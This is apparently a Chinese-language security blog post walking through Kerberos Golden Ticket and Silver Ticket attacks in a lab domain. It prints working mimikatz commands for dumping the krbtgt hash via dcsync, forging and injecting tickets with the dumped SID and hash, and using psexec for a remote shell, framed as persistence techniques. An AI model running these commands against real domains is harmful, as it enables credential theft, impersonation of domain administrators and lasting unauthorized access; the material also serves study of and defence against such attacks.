kerberos协议中的票据传递攻击

  1. PtT
  2. Golden Ticket
    1. 漏洞原理
    2. 复现过程
  3. Silver Ticket
    1. 漏洞原理
    2. 复现过程
  4. Ending

PtT

Pass the Ticket,基于Kerberos协议进行攻击,通常是用来做权限维持

Golden Ticket

漏洞原理

client端在和KDC进行认证的过程中,TGT是由域内krbtgt用户hash计算生成,所以当我们得到了域内krbtgt用户的NTLM 哈希或AES-256的值,可以将权限伪装成任意域内用户(包括域管用户)。

复现过程

漏洞前提:

1
2
3
4
1.要伪装的域内用户名
2.krbtgt用户hash
3.krbtgt用户sid
4.域名

利用mimikatz可以进行伪造

首先我们要知道krbtgt的相关信息,在域控制器中执行命令:

1
2
privilege::debug
lsadump::dcsync /user:krbtgt

获取到sid(sid去除id后面的502)和ntlm hash如下:

1
2
sid:S-1-5-21-306775267-2343279330-10040798
hash:8fe2af5ffd00a2b58a9a42c8c95ee373

接下来在域内一台机器上生成Golden Ticket:

1
2
3
4
5
privilege::debug

kerberos::golden /user:hacke\administrator /domain:hacke.testlab/sid:S-1-5-21-306775267-2343279330-10040798 /krbtgt:8fe2af5ffd00a2b58a9a42c8c95ee373 /ptt

kerberos::ptt C:\Users\oreo\Desktop\ticket.kirbi #导入票据

成功导入,可以利用cmd下的klist命令查看导入的票据。

这里导入票据之后,我们可以看下是否能够伪造身份:

dir 域控的目录,能够成功访问,说明票据成功

Silver Ticket

漏洞原理

伪造ST服务票据,不需要和KDC进行交互,动静较小

复现过程

漏洞前提:

1
2
3
1.伪造的用户名
2.服务用户hash(dc$账号的hash)
3.用户sid

首先我们用mimikatz来读取计算机的hash

获取sid

在域内任意一台机器上制作Silver Ticket

1
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-306775267-2343279330-10040798 /target:dc.hacke.testlab /service:cifs /rc4:{ntlm hash} /user:administrator /ptt

再次访问dc的c$

Ending

当我们使用票据成功后,后续可使用psexec.exe与目标机器进行交互cmd shell

https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

不过这两个都是属于后门维持的攻击,还是MS14-068好用啊


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:kerberos协议中的票据传递攻击

本文作者:sher10ck

发布时间:2020-09-20, 00:08:10

最后更新:2021-02-19, 11:30:40

原始链接:http://sherlocz.github.io/2020/09/20/kerberos-PtT/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录